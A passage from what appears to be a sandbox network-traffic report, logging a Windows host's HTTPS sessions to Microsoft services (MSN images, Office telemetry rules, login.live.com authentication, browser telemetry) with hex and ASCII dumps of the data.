Ascii: T:43~Py1<1Kgz}]'`(+b#j>b_,z/t~I, ^vs~Iyt+`^nC\|O([kzU2j{"kf5Dr8Xh-]jHgaxx!N\|G>U'
2024-11-25 15:21:48 UTC	16384	IN	Data Raw: c0 3b 61 91 93 4c 34 7d 52 e0 1b fa 5e 57 6b 0b 32 38 5d a1 c0 eb b7 95 ff 00 4d d6 60 ed c3 77 89 d6 da f3 e6 ba e3 1e 31 c4 e2 45 ac 6f 69 f2 f9 2d 6e 99 b1 8d 2d 36 64 f9 8f 8f 92 b1 01 e7 ea 0c 8b 46 f6 4b 2d c6 5b b9 13 7e 7b f4 69 43 8d ad c7 37 71 e7 bf b9 fb a0 2e 35 e2 c0 7b 98 f9 25 4c 99 81 bc 0b 0f 82 95 91 ee 9b 71 6d 79 3f 00 aa e5 cd ab e9 88 d6 a3 1b ce bf a4 25 41 63 d5 a4 e9 d2 e0 01 b2 4f a8 4c d4 d1 bf 97 b7 54 b7 fa 7b b8 1e 1e 76 b8 e8 0c 9f 65 57 2e 4f 4d a2 96 96 c5 c7 d5 1e cd 05 d7 3e 48 a3 80 f7 0f a5 8e 2d 2d 68 1c b6 f1 fa 7c d7 93 cc fa cb aa da 09 9f db 1e 0b ab df 77 0e 24 45 81 36 04 7d 42 20 dc 9b 5e fb 2f 3d 9d d2 e2 da 37 1f f4 98 b5 b9 ac 67 76 a2 e1 37 25 84 70 c1 98 23 a4 4a ad 93 35 0e 6c d4 2b d4 8b 1e 87 cf 92 b5 Data Ascii: ;aL4}R^Wk28]M`w1Eoi-n-6dFK-[~{iC7q.5{%Lqmy?%AcOLT{veW.OM>H--h\|w$E6}B ^/=7gv7%p#J5l+
2024-11-25 15:21:48 UTC	7952	IN	Data Raw: 07 45 9e d2 04 d2 3a 5b f8 95 ae 15 0a af 0b 8e ee a8 da 86 d4 04 1b 4f 0d a7 42 d3 a8 36 9d 51 1c d8 dc dc 4e 78 71 c6 c0 f0 59 59 6b e5 c6 ee 6c 03 b9 82 05 e5 50 cb 81 8f 6d 4d 8e a0 4f 08 b6 84 de ff 00 d3 a6 89 2c 66 47 3e 5c e9 31 a7 51 66 ed b4 75 5a 91 b8 9c 06 ce 19 1a 20 c5 42 c3 a7 22 af b4 d2 e9 c7 5e 30 64 41 f7 2d e8 7e da ae 7b 70 97 bf 8a 05 f6 26 05 87 3b 13 f7 4c 63 1e 1d fb 03 45 ef 30 67 72 5c 01 3f 70 80 4b 9e 5b 97 ea a6 fb 3a e0 c6 93 32 0f 49 56 4e 4f 53 1b 9a 08 de c2 98 3d 2d 02 26 7a 6e 83 3e 3f 52 5c 03 4b 4c 7f 4d ac 04 48 3b fd d7 3f d2 7b 1c 1c c7 1b 5c b5 d3 6b f5 fb 26 8d 4d 7b 8b a6 6c 45 81 1d 06 c0 da 7c 4a 12 f9 81 3e 31 a9 da 7c f5 b2 b0 d7 16 12 f9 00 99 16 de fb c7 4b 7b a0 7b 62 1c 22 39 5e e7 c7 ae a8 0c 79 6d 5c Data Ascii: E:[OB6QNxqYYklPmMO,fG>\1QfuZ B"^0dA-~{p&;LcE0gr\?pK[:2IVNOS=-&zn>?R\KLMH;?{\k&M{lE\|J>1\|K{{b"9^ym\
2024-11-25 15:21:48 UTC	16288	IN	Data Raw: 8d a2 a3 55 4d dd af 24 69 07 6b 3b a8 9d bc 51 3b b8 0c 9f 51 a5 ee 76 97 b7 8d 37 71 f2 5c be e1 ee 04 70 35 b6 90 c6 ba 4e fb f1 4c 6d a9 09 28 6e 7b ac 61 ae 17 2d 9f f5 98 1b 9a 6e 7d e0 95 cb ca e9 8b 93 24 c8 a5 f4 9b 40 98 20 78 0d ed d1 58 61 73 d8 49 73 99 12 2e e0 5d e0 2f 16 da da 04 8a 62 05 4d 17 80 05 55 38 c8 da 37 33 a0 1e 28 02 f5 1e d6 41 13 3b 81 15 19 f3 90 34 e8 aa 67 ce 03 80 2d 71 dc 10 0c b4 df a1 3e 1b a7 65 0f 6d 61 ce a4 c9 a8 44 38 11 cc 0b f8 0b 2e 60 ed b2 66 cc 1c e7 b5 95 93 04 f3 d7 94 69 03 c1 67 ad af 68 d0 b3 9a 4b 5a 48 6c 6c 27 ad b8 88 36 1f 25 4d fe ab 89 6b 72 10 26 4f f5 34 72 9b 9f 3b 2e 87 f8 ed ed 9c fc 79 20 ee 46 53 7d 8c 55 04 4d cd 8c 89 4d 18 1b 94 4b 22 fa b8 90 7d a0 df db 45 71 11 1d 58 e5 33 2f 39 91 Data Ascii: UM$ik;Q;Qv7q\p5NLm(n{a-n}$@ xXasIs.]/bMU873(A;4g-q>emaD8.`fighKZHll'6%Mkr&O4r;.y FS}UMMK"}EqX3/9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.5	49875	104.117.182.66	443	2800	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:47 UTC	634	OUT	GET /tenant/amp/entityid/BB1msKEr.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 15:21:48 UTC	519	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msKEr Last-Modified: Fri, 08 Nov 2024 07:20:56 GMT X-Source-Length: 28967 X-Datacenter: westus X-ActivityId: 0c687dbe-b0dd-41e6-aef4-bf71ce1feb68 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 28967 Cache-Control: public, max-age=100763 Expires: Tue, 26 Nov 2024 19:21:10 GMT Date: Mon, 25 Nov 2024 15:21:47 GMT Connection: close
2024-11-25 15:21:48 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-25 15:21:48 UTC	13102	IN	Data Raw: 0f b7 75 bf 2c a1 5f 9b ab cc 37 4a 3e b6 a4 d3 db 46 a4 7f 75 9f e6 bb 87 f9 f4 f7 55 ea 7e 9f 14 ed 96 2a a6 9a f2 aa 29 ab f4 a2 27 e2 2d 7e 73 f9 ae e3 fe 6d 53 d9 a7 5c fd c7 f3 6d cb 6e a4 ff 00 ba af d4 fa fa 9e 5d b8 6a fd 7d d7 77 ab b7 4a 8b f7 c4 44 bc 5a be 41 e5 7a bc 77 78 a7 f4 2b d4 a3 e1 55 b9 96 63 ae 59 ce 75 76 63 1d ef 2f f3 5d ca 3f cd ff 00 97 3f 7b 1f ce 37 2f fd c8 fd 58 ff 00 68 af f0 b7 97 55 f5 6a de 34 fa 72 ae 2a fe d5 17 e7 78 ab fc 25 47 ec f7 a9 8f d3 d1 89 b7 5d 35 c7 c1 ad ba 3d 59 ee 63 3a b9 9e 8c 67 ee f6 cf 9c 6e 56 e3 57 f4 ff 00 b4 9f ce 77 0f 7f 9e 8f f6 9f 1a bf c2 7b e4 4d e8 d7 dd 6b ed 8d 4a 27 fb 15 43 cd 57 e1 af 32 8f d9 e9 57 6e 18 75 34 fe 15 61 6b 87 a3 3f cd 8c f3 79 98 ff 00 e7 f5 7e 83 f9 e7 97 74 eb Data Ascii: u,_7J>FuU~)'-~smS\mn]j}wJDZAzwx+UcYuvc/]??{7/XhUj4rx%G]5=Yc:gnVWw{MkJ'CW2Wnu4ak?y~t

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.5	49876	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:48 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:49 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:48 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: f9d2b1a4-b01e-003d-337e-3bd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152148Z-174c587ffdf8lw6dhC1TEBkgs80000000650000000008df0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:49 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.5	49879	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:48 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:49 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:48 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 732016c8-001e-000b-7fb8-3e15a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152148Z-178bfbc474bv7whqhC1NYC1fg400000007mg00000000hxc5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:49 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.5	49877	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:48 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:49 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:48 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 77e83d57-401e-0016-5857-3c53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152148Z-15b8b599d88hr8sfhC1TEBbca400000005xg00000000m5cq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:49 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.5	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:48 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:49 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:49 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 0aa534f7-c01e-0014-501a-3ea6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152149Z-178bfbc474btrnf9hC1NYCb80g00000007ug000000009rse x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:49 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.5	49880	20.190.147.1	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:49 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-25 15:21:49 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-25 15:21:50 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 25 Nov 2024 15:20:49 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.9 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C544_BAY x-ms-request-id: f61c903a-8dc5-4f9b-b033-a9a5ac2df1b8 PPServer: PPV: 30 H: PH1PEPF00011F34 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 15:21:49 GMT Connection: close Content-Length: 11389
2024-11-25 15:21:50 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.5	49881	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:49 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:49 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:49 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 3074f9d5-701e-001e-47fc-3df5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152149Z-178bfbc474bw8bwphC1NYC38b400000007e000000000hbn1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:49 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.5	49882	51.116.253.170	443	2800	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:50 UTC	1044	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732548106986&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 11600 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0C72B46B3C106818117CA1293D846999; _EDGE_S=F=1&SID=083805B8B9C66CC63C1F10FAB8886D76; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-25 15:21:50 UTC	11600	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 35 54 31 35 3a 32 31 3a 34 36 2e 39 38 35 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 36 33 33 33 39 35 66 39 2d 39 32 36 32 2d 34 38 36 62 2d 38 34 31 66 2d 65 35 39 62 61 39 36 39 38 35 32 35 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 33 30 36 32 36 37 33 34 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-25T15:21:46.985Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"633395f9-9262-486b-841f-e59ba9698525","epoch":"2630626734"},"app":{"locale
